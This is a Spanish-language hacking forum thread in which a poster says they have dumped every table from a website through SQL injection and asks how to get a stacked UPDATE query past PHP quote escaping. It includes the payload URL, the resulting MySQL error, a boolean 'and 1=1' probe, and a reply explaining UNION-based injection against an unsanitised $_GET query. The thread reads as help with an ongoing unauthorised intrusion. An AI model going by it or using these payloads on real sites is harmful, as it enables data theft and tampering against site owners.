Os cuento mas o menos, he conseguido sacar todas las tablas, pero al intentar hacer un update me salta un filtro por la comilla, ya que al poner comilla simple el codigo php lo remplaza por '\\\'.

http://www.web.com/noticia.php?id=-1'; UPDATE Basededatos.noticias+SET+breve+=+0x4572726f72+WHERE+id+=+8+;/*
 

El error que devuelve es este:

You have an error in your SQL syntax; check the manual that 
corresponds to your MySQL server version for the right syntax to use near
 '\\\';UPDATE web.noticias SET breve = 0x4572726f72 WHERE id = 8 ;/*' at line 1

Alguna vez os habeis encontrado con esto? alguna idea?

Gracias de antemano!

intenta sacarlo sin comillas para ver si realmente es necesario;
http://www.web.com/noticia.php?id=1 and 1=1
Si no te funciona y obligadamente necesitas escapar con esa comilla no puedes hacer nada por los slashses que agrega el php.

No puedes meter un update dentro de un select 

jahahahahah!!!!

y entonces como hacen para obtener los registros de la base de datos?

el SELECT va implicito al hacer una consulta a tu base de datos

perdon, es que me hizo gracia

no es personal pues, disculpa...

Te explico

cuando haces una web que toma datos de una base de datos, para recuperar haces algo parecido a esto

SELECT * FROM `noticias` WHERE id=$_GET['id']
 

Siempre haces eso (es un ejemplo xD) cuando haces un sistema de noticias, pero siempre tienes un "select" lo que hacemos a la hora de una SQLinjection es modificar ese "SELECT"

quedando algo así

SELECT * FROM `noticias` WHERE id=-1 AND UNION SELEC 0,1,2.....
                                  ^aqui nuestro code

o sea que, el "SELECT" va implicito